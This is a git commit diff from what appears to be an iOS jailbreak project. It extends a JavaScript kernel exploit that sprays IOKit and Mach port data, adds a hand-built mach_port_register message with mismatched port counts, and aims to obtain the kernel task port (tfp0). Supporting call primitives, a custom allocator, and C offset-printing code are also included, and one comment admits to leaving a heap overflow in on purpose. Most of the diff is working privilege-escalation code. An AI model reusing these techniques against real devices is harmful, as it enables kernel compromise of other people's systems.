summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorspv420 <spv@spv.sh>2022-07-13 20:32:27 -0400
committerspv420 <spv@spv.sh>2022-07-13 20:32:27 -0400
commit3df21d6c8d6c978cedaac23dbbf4c106dee9120f (patch)
treedd6d99bd09f276f1069cdb6ff25be70f4b3aaf36
parent6d609fb3dc90d646ed25bd89ff9ab37c8b3f9aec (diff)
lol r3gister
-rw-r--r--.gitignore2
-rw-r--r--src/gen/main.c6
-rwxr-xr-xsrc/js/kexp/exploit.js126
-rwxr-xr-xsrc/js/lib/myutils.js3
-rw-r--r--src/js/primitives/call.js6
-rw-r--r--src/js/primitives/mem.js33
-rwxr-xr-xtools/testlol.c70
7 files changed, 193 insertions, 53 deletions
diff --git a/.gitignore b/.gitignore
index 94d6152..edc98ec 100644
--- a/.gitignore
+++ b/.gitignore
@@ -14,3 +14,5 @@ exp.js
**/exp.js
racoon.conf
+
+.vscode \ No newline at end of file
diff --git a/src/gen/main.c b/src/gen/main.c
index 3b95046..0acc02b 100644
--- a/src/gen/main.c
+++ b/src/gen/main.c
@@ -206,10 +206,10 @@ int main(int argc,
fprintf(stderr, "0x%x\n", RTLD_DEFAULT);
- uint32_t stack_base = 0x1c7718; // my shell setup
-// uint32_t stack_base = 0x1c7708; // my shell setup
+// uint32_t stack_base = 0x1c7718; // my shell setup
+ uint32_t stack_base = 0x1c7708; // my shell setup
// uint32_t stack_base = 0x1c7728; // my shell setup
-// uint32_t stack_base = 0x1c7c88; // my 4s shell setup
+// uint32_t stack_base = 0x1c77a8 ; // my 4s shell setup
// uint32_t stack_base = 0x1c2e48; // my lldb
// uint32_t stack_base = 0x1c7d68; // btserver env
// uint32_t stack_base = 0x1c7dd8; // wifiFirmwareLoader env
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js
index c667dd2..715535d 100755
--- a/src/js/kexp/exploit.js
+++ b/src/js/kexp/exploit.js
@@ -61,11 +61,11 @@ var MIG_MAX = 0x1000;
var NDR_record = 0x36ebf00c;
function spray_data(mem, size, num, portptr) {
- var err = malloc(4);
+ var err = shit_heap(4);
var ret = 0;
- var master = malloc(4);
+ var master = shit_heap(4);
host_get_io_master(mach_host_self(), master);
- var dict = malloc(MIG_MAX);
+ var dict = shit_heap(MIG_MAX);
var __cnt = 0;
write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++;
write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++;
@@ -95,16 +95,16 @@ function spray_data(mem, size, num, portptr) {
}
function copyinPort(kport, cnt) {
- var err = malloc(4);
+ var err = shit_heap(4);
var ret = 0;
var self = task_self;
var service = MACH_PORT_NULL;
- var client = malloc(4);
- var it = malloc(4);
+ var client = shit_heap(4);
+ var it = shit_heap(4);
var o = MACH_PORT_NULL;
- var data = malloc(4);
- var master = malloc(4);
- fakeportData = malloc(4);
+ var data = shit_heap(4);
+ var master = shit_heap(4);
+ fakeportData = shit_heap(4);
var host_self = mach_host_self();
host_get_io_master(mach_host_self(), master);
ret = spray_data(NULL, 0, 5, data);
@@ -123,7 +123,7 @@ function copyinPort(kport, cnt) {
write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size);
}
- var err = malloc(4);
+ var err = shit_heap(4);
var xmls = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
var xml = sptr(xmls);
ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client);
@@ -138,8 +138,8 @@ function copyinPort(kport, cnt) {
var o = IOIteratorNext(read_u32(it));
while (o != MACH_PORT_NULL && !found) {
- var buf = malloc(16 * 4);
- var size = malloc(4);
+ var buf = shit_heap(16 * 4);
+ var size = shit_heap(4);
write_u32(size, 16 * 4);
ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size);
printf("%d %s\n", ret, mach_error_string(ret));
@@ -172,9 +172,9 @@ function prepare_ptr(dict, size, ptr, num) {
}
function spray(dict, size, port) {
- var err = malloc(4);
+ var err = shit_heap(4);
var ret = 0;
- var master = malloc(4);
+ var master = shit_heap(4);
host_get_io_master(mach_host_self(), master);
io_service_add_notification_ool(master, "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port);
@@ -188,14 +188,17 @@ function spray(dict, size, port) {
var kp = 0;
function spray_ports(number_port_descs) {
- printf("spray_ports %d\n", number_port_descs);
if (kp == 0) {
- kp = malloc(4);
+ kp = shit_heap(4);
+ mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
+ mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND);
+ } else if (read_u32(kp) == 0) {
+ kp = shit_heap(4);
mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND);
}
- var mp = malloc(4);
+ var mp = shit_heap(4);
mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp);
mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND);
@@ -205,7 +208,7 @@ function spray_ports(number_port_descs) {
// printf("%d (%s)\n", ret_, mach_error_string(ret_));
var ret = read_u32(mp);
- free(mp);
+ shit_heap_free(mp);
return ret;
}
@@ -231,19 +234,21 @@ function fast_array_mul(arr, n) {
}
function send_ports(target, payload, num, number_port_descs) {
- var init_port_set = malloc(num * 4);
+ var init_port_set = shit_heap(num * 4);
for (var i = 0; i < num; i++) {
write_u32(init_port_set + (i << 2), payload);
}
- // var buf = malloc(0x1c + (number_port_descs * 0xc * 8));
+ // var buf = shit_heap(0x1c + (number_port_descs * 0xc * 8));
// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs);
-// var buf = new Uint32Array((0x1c + (3 * number_port_descs)) / 4);
+// var buf = new Uint32Array((0x1c + (3 * number_port_descs);
- large_buf[req_msgh_body_msgh_descriptor_count / 4] = number_port_descs;
+// write_u32(number_port_descs);
+
+ large_buf[req_msgh_body_msgh_descriptor_count >> 2] = number_port_descs;
var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24));
@@ -267,36 +272,57 @@ function send_ports(target, payload, num, number_port_descs) {
}
function release_port_ptrs(port) {
- var req = malloc(0x1c + (5 * 0xc) + 0x8);
- for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) {
- write_u32(req + i, 0x0);
- }
- printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0"));
+ var req = shit_heap(0x1c + (5 * 0xc) + 0x8);
+// printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0"));
var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
- if (ret != KERN_SUCCESS) {
+ if (ret != KERN_SUCCESS) {
printf("mach_recv %d %s\n", ret, mach_error_string(ret));
}
- free(req);
+ shit_heap_free(req);
+}
+
+function r3gister(task, init_port_set, real_count, fake_count) {
+ var mess = shit_heap(0x1000);
+ var InP = mess;
+ var OutP = mess;
+
+ write_u32(InP + 0x18, 1);
+ write_u32(InP + 0x1c, init_port_set);
+ write_u32(InP + 0x20, real_count);
+ write_u32(InP + 0x24, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)));
+ write_u32(InP + 0x28, read_u32(NDR_record + get_dyld_shc_slide() + 0x0));
+ write_u32(InP + 0x2c, read_u32(NDR_record + get_dyld_shc_slide() + 0x4));
+ write_u32(InP + 0x30, fake_count);
+ write_u32(InP + 0x0, 0x80001513);
+ write_u32(InP + 0x8, task);
+ write_u32(InP + 0xc, mig_get_reply_port());
+ write_u32(InP + 0x14, 3403);
+
+ var ret = mach_msg(InP, 0x3, 0x34, 0x2c, read_u32(InP + 0xc), MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(OutP + 0x24);
+ }
+ return ret;
}
function get_kernel_task() {
var ret = 0;
var tfp0 = 0;
- sanity_port = malloc(4);
+ sanity_port = shit_heap(4);
task_self = mach_task_self();
mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port);
mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND);
- limits = malloc(4);
+ limits = shit_heap(4);
write_u32(limits, 1000);
mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT);
printf("starting exploit\n");
- var data = malloc(16);
- var kport = malloc(kport_size * 2);
+ var data = shit_heap(16);
+ var kport = shit_heap(kport_size * 2);
var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something
write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
write_u32(kport + kport_ip_references4, 100);
@@ -305,14 +331,14 @@ function get_kernel_task() {
write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy
write_u32(kport + kport_ip_srights4, 99);
- var big_buf = malloc(MIG_MAX);
- var small_buf = malloc(MIG_MAX);
+ var big_buf = shit_heap(MIG_MAX);
+ var small_buf = shit_heap(MIG_MAX);
- var big_size = malloc(4);
- var small_size = malloc(4);
+ var big_size = shit_heap(4);
+ var small_size = shit_heap(4);
- var fp = malloc(PORTS_NUM * 4);
- var postSpray = malloc(4);
+ var fp = shit_heap(PORTS_NUM * 4);
+ var postSpray = shit_heap(4);
usleep(10000);
sched_yield();
@@ -325,22 +351,36 @@ function get_kernel_task() {
prepare_ptr(big_buf, big_size, kptr, 256);
prepare_ptr(small_buf, small_size, kptr, 32);
- var dummy = malloc(4);
+ var dummy = shit_heap(4);
for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) {
spray(big_buf, big_size, dummy);
}
- var dummy = malloc(4);
+ var dummy = shit_heap(4);
for (var i = 0; i < PORTS_NUM; i++) {
- write_u32(fp + (i << 2), spray_ports(i));
+// for (var i = 0; i < 8; i++) {
+ if (i % 4 == 0) {
+ printf("spray_ports %d\n", i);
+ }
+ write_u32(fp + (i << 2), spray_ports(1));
spray(small_buf, small_size, dummy);
}
for (var i = 0; i < PORTS_NUM; i++) {
+// for (var i = 0; i < 8; i++) {
release_port_ptrs(read_u32(fp + (i << 2)));
}
+ var arrmpt = shit_heap(8);
+ write_u32(arrmpt, 0);
+ write_u32(arrmpt + 4, 0);
+ var ret__ = r3gister(mach_task_self(), arrmpt, 2, 3);
+ printf("%d %s", ret__, mach_error_string(ret__));
+ printf("r3gister done\n");
+
+
+
printf("get lucky\n");
return tfp0;
-} \ No newline at end of file
+}
diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js
index 89860f8..71777f9 100755
--- a/src/js/lib/myutils.js
+++ b/src/js/lib/myutils.js
@@ -121,4 +121,5 @@ var dlopen = scall_wrapper("dlopen");
var dlsym = scall_wrapper("dlsym");
var CFDictionaryCreateMutable = scall_wrapper("CFDictionaryCreateMutable");
var CFDictionarySetValue = scall_wrapper("CFDictionarySetValue");
-var CFNumberCreate = scall_wrapper("CFNumberCreate"); \ No newline at end of file
+var CFNumberCreate = scall_wrapper("CFNumberCreate");
+var mig_get_reply_port = scall_wrapper("mig_get_reply_port"); \ No newline at end of file
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index 6eaa607..dfd3077 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -310,7 +310,7 @@ function callnarg() {
/*
* r9
*/
- write_u32(thread_state + (11 << 2), 0x1337);
+// write_u32(thread_state + (11 << 2), 0x1337);
/*
* stack
@@ -356,7 +356,7 @@ function callnarg() {
* if the pc is in (resolver, resolver + 8), suspend the thread
* (to not spin endlessly), read r0 and return
*/
- if (((read_u32(thread_state + (15 << 2)) == (__stack_chk_fail_resolver + dyld_shc_slide)))) {
+ if (((read_u32(thread_state + (15 << 2)) >= (__stack_chk_fail_resolver + dyld_shc_slide))) && ((read_u32(thread_state + (15 << 2)) < (__stack_chk_fail_resolver + dyld_shc_slide + 8)))) {
calls4arg("thread_suspend", rth, 0, 0, 0);
return read_u32(thread_state);
}
@@ -416,7 +416,7 @@ function scall() {
for (var i = 0; i < count_to_me; i++) {
args_to_pass.push(0);
}
- return call4arg.apply(this, args_to_pass)
+ return call4arg.apply(this, args_to_pass);
}
}
diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js
index 6e21fb0..b5078eb 100644
--- a/src/js/primitives/mem.js
+++ b/src/js/primitives/mem.js
@@ -257,6 +257,37 @@ function _sptr(s) {
return global_sptr_addy - s.length;
}
+
+/*
+ * _sptr is meant to give you a pointer to a specified string
+ * remember your nul's!
+ */
+function shit_heap(v) {
+ if ((sptr_len + v) >= sptr_size) {
+ /*
+ * expand sptr heap if it's too small
+ * this will technically fail if the string is over 1MB, and will then
+ * cause a heap overflow, but eh whatever
+ *
+ * sometimes it's fun to include esoteric bugs that are unlikely to
+ * cause real harm, to add an exploitation challenge. :P
+ */
+ var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+ var shc_slide = read_u32(reserve_addr + 20 + slid);
+ write_str(0x150000, "realloc\0");
+ sptr_size += 0x100000;
+ var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
+ global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size, 0, 0);
+ }
+// write_str(global_sptr_addy, s);
+ global_sptr_addy += v;
+ return global_sptr_addy - v;
+}
+
+function shit_heap_free(v) {
+ return;
+}
+
/*
* sptr but with nul
*/
@@ -310,4 +341,4 @@ function setup_fancy_rw() {
fancy_rw = true;
printf("%08x\n", u8x4_to_u32([parent[0x5000], parent[0x5001], parent[0x5002], parent[0x5003]]));
-} \ No newline at end of file
+}
diff --git a/tools/testlol.c b/tools/testlol.c
index b957a93..638ba57 100755
--- a/tools/testlol.c
+++ b/tools/testlol.c
@@ -114,6 +114,7 @@ struct test {
};
int main(int argc, char* argv[]) {
+#if 0
struct test d;
d.a = 1;
d.b = 2;
@@ -150,8 +151,8 @@ int main(int argc, char* argv[]) {
// printf("var req_init_port_set_deallocate = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, deallocate));
// printf("var req_init_port_set_type = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, type));
printf("var req_head_msgh_bits = 0x%x\n", offsetof(Request, Head.msgh_bits));
- printf("var req_head_msgh_request_port = 0x%x\n", offsetof(Request, Head.msgh_remote_port));
- printf("var req_head_msgh_reply_port = 0x%x\n", offsetof(Request, Head.msgh_local_port));
+ printf("var req_head_msgh_remote_port = 0x%x\n", offsetof(Request, Head.msgh_remote_port));
+ printf("var req_head_msgh_local_port = 0x%x\n", offsetof(Request, Head.msgh_local_port));
printf("var req_head_msgh_id = 0x%x\n", offsetof(Request, Head.msgh_id));
printf("var req_msgh_body_msgh_descriptor_count = 0x%x\n", offsetof(Request, msgh_body.msgh_descriptor_count));
@@ -173,6 +174,71 @@ int main(int argc, char* argv[]) {
// spray_ports(2);
printf("%x\n", MACH_RCV_MSG);
+#endif
+
+ #pragma pack(4)
+ typedef struct {
+ mach_msg_header_t Head;
+ mach_msg_body_t msgh_body;
+ mach_msg_ool_ports_descriptor_t init_port_set;
+ NDR_record_t NDR;
+ mach_msg_type_number_t init_port_setCnt;
+ } Request;
+ typedef struct {
+ mach_msg_header_t Head;
+ NDR_record_t NDR;
+ kern_return_t RetCode;
+ mach_msg_trailer_t trailer;
+ } Reply;
+#pragma pack()
+
+ union {
+ Request In;
+ Reply Out;
+ } Mess;
+ Request *InP = &Mess.In;
+ Reply *OutP = &Mess.Out;
+
+#if 0
+ InP->msgh_body.msgh_descriptor_count = 1;
+ InP->init_port_set.address = (void*)(init_port_set);
+ InP->init_port_set.count = real_count;
+ InP->init_port_set.disposition = 19;
+ InP->init_port_set.deallocate = FALSE;
+ InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
+ InP->NDR = NDR_record;
+ InP->init_port_setCnt = fake_count; // was real_count
+ InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
+ InP->Head.msgh_remote_port = task;
+ InP->Head.msgh_local_port = mig_get_local_port();
+ InP->Head.msgh_id = 3403;
+#endif
+
+ printf(" InP->msgh_body.msgh_descriptor_count %p %p\n", ((void*)& InP->msgh_body.msgh_descriptor_count ) - ((void*)InP), sizeof( InP->msgh_body.msgh_descriptor_count ));
+ printf(" InP->init_port_set.address %p %p\n", ((void*)& InP->init_port_set.address ) - ((void*)InP), sizeof( InP->init_port_set.address ));
+ printf(" InP->init_port_set.count %p %p\n", ((void*)& InP->init_port_set.count ) - ((void*)InP), sizeof( InP->init_port_set.count ));
+ printf(" InP->init_port_set %p\n", ((void*)& InP->init_port_set ) - ((void*)InP));
+ //printf(" InP->init_port_set.disposition %p %p\n", ((void*)& InP->init_port_set.disposition ) - ((void*)InP), sizeof( InP->init_port_set.disposition ));
+ //printf(" InP->init_port_set.deallocate %p %p\n", ((void*)& InP->init_port_set.deallocate ) - ((void*)InP), sizeof( InP->init_port_set.deallocate ));
+ //printf(" InP->init_port_set.type %p %p\n", ((void*)& InP->init_port_set.type ) - ((void*)InP), sizeof( InP->init_port_set.type ));
+ printf(" InP->NDR %p %p\n", ((void*)& InP->NDR ) - ((void*)InP), sizeof( InP->NDR ));
+ printf(" InP->init_port_setCnt %p %p\n", ((void*)& InP->init_port_setCnt ) - ((void*)InP), sizeof( InP->init_port_setCnt ));
+ printf(" InP->Head.msgh_bits %p %p\n", ((void*)& InP->Head.msgh_bits ) - ((void*)InP), sizeof( InP->Head.msgh_bits ));
+ printf(" InP->Head.msgh_remote_port %p %p\n", ((void*)& InP->Head.msgh_remote_port ) - ((void*)InP), sizeof( InP->Head.msgh_remote_port ));
+ printf(" InP->Head.msgh_local_port %p %p\n", ((void*)& InP->Head.msgh_local_port ) - ((void*)InP), sizeof( InP->Head.msgh_local_port ));
+ printf(" InP->Head.msgh_id %p %p\n", ((void*)& InP->Head.msgh_id ) - ((void*)InP), sizeof( InP->Head.msgh_id ));
+ printf("0x%08x\n", MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE);
+ printf("0x%08x 0x%08x\n", (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply));
+ printf("0x%08x\n", ((void*)&OutP->RetCode) - ((void*)&OutP));
+
+#if 0
+ kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ if(ret == KERN_SUCCESS)
+ {
+ ret = OutP->RetCode;
+ }
+ return ret;
+#endif
/*
for (int i = 0; i < (sizeof(Request) + number_port_descs * sizeof(mach_msg_ool_ports_descriptor_t)); i++) {